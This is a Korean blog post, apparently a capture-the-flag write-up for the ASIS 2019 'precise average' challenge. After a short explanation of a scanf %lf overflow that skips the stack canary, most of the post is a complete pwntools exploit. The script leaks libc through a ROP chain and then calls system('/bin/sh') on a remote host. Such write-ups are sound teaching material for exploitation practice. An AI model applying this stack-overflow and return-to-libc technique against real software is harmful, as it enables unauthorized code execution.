-
[ASIS 2019] precise average - pwnCTF 2019. 4. 22. 21:35
중요한 것은 scanf로 %lf를 입력받는데, 이 과정에서 우리가 원하는 만큼 배열에 쓸 수 있어 오버플로우가 발생한다.
또한 scanf 특성상 해당 포맷에 맞지 않는 데이터를 입력하면 데이터가 들어가지 않기 때문에 카나리를 바이패스하고 이후에 리턴 값을 덮어쓸 수 있다.
from pwn import *
from struct import *
uf = lambda x : unpack("<d", x)[0]
# p = process("./precise_avg.elf")
p = remote("82.196.10.106",12499)
# p = remote("172.16.167.173",12345)
idx = 39 # ret
print p.sendlineafter("Number of values:", str(idx))
data = uf(p64(0x41414141))
for i in range(0, 33):
print i
p.sendline(str(data))
p.sendline(".")
p.sendline(".")
# p.sendline(str(uf(p64(0x601218))))
poprdi = 0x00000000004009c3
poprsir15 = 0x00000000004009c1
printf = 0x400640
puts = 0x400630
bss = 0x601010
scanf = 0x400660
data = uf(p64(poprdi))
p.sendline(str(data))
data = uf(p64(0x600FC0))
p.sendline(str(data))
data = uf(p64(puts))
p.sendline(str(data))
data = uf(p64(0x4007d0)) # return to main
p.sendline(str(data))
print p.recvuntil("000000\n")
leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak - 0x064e80
system = libc_base + 0x04f440
binsh = libc_base + 0x1b3e9a
print hex(leak)
print hex(libc_base)
idx = 42
print p.sendlineafter("Number of values:", str(idx))
data = uf(p64(0x41414141))
for i in range(0, 33):
print i
p.sendline(str(data))
p.sendline(".")
p.sendline(".")
pause()
data = uf(p64(0x400958))
p.sendline(str(data))
data = uf(p64(0x400958))
p.sendline(str(data))
data = uf(p64(0x400958))
p.sendline(str(data))
data = "%.327lf" % uf(p64(poprdi))
p.sendline(str(data))
data = "%.327lf" % uf(p64(binsh))
p.sendline(str(data))
data = "%.327lf" % uf(p64(system))
p.sendline(str(data))
p.interactive()'CTF' 카테고리의 다른 글
pwnable.tw - tcache_tear (0) 2019.09.17 pwnable.tw - Caov (0) 2019.09.17 TenDollar CTF 2018 - SandBox challenge 1~5 (2) 2018.11.25 [Pwnable.tw] Kidding (0) 2018.05.03 pwnable.tw - babystack (0) 2017.09.01